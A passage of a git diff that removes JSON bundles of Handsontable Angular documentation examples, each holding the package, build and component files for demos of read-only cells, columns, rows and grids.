HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example1.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example2.ts.json deleted file mode 100644 index ee5b26b6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings ={\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n cells: (row: number, col: number, _: any) => {\n if (hot.getData()[row][col] === 'Nissan') {\n return { readOnly: true };\n }\n\n return {};\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example2.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example3.ts.json deleted file mode 100644 index 0451a73e..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\n@Component({\n selector: 'example3-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n editor: false,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n editor: 'numeric',\n },\n {\n data: 'chassis',\n editor: 'text',\n },\n {\n data: 'bumper',\n editor: 'text',\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example3.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example4.ts.json deleted file mode 100644 index 2bd8cdae..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n cells: (row, _col, prop) => {\n if (hot.getDataAtRowProp(row, prop as string) === 'Nissan') {\n return { editor: false };\n }\n return { editor: 'text' };\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example4.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example5.ts.json deleted file mode 100644 index 92d01c6a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example5-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings ={\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n cells: (row: number) => {\n return row === 1 ? { readOnly: true } : {};\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example5.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__exampleReadOnlyGrid.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__exampleReadOnlyGrid.ts.json deleted file mode 100644 index 4960fea7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__exampleReadOnlyGrid.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example-readonly-grid',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
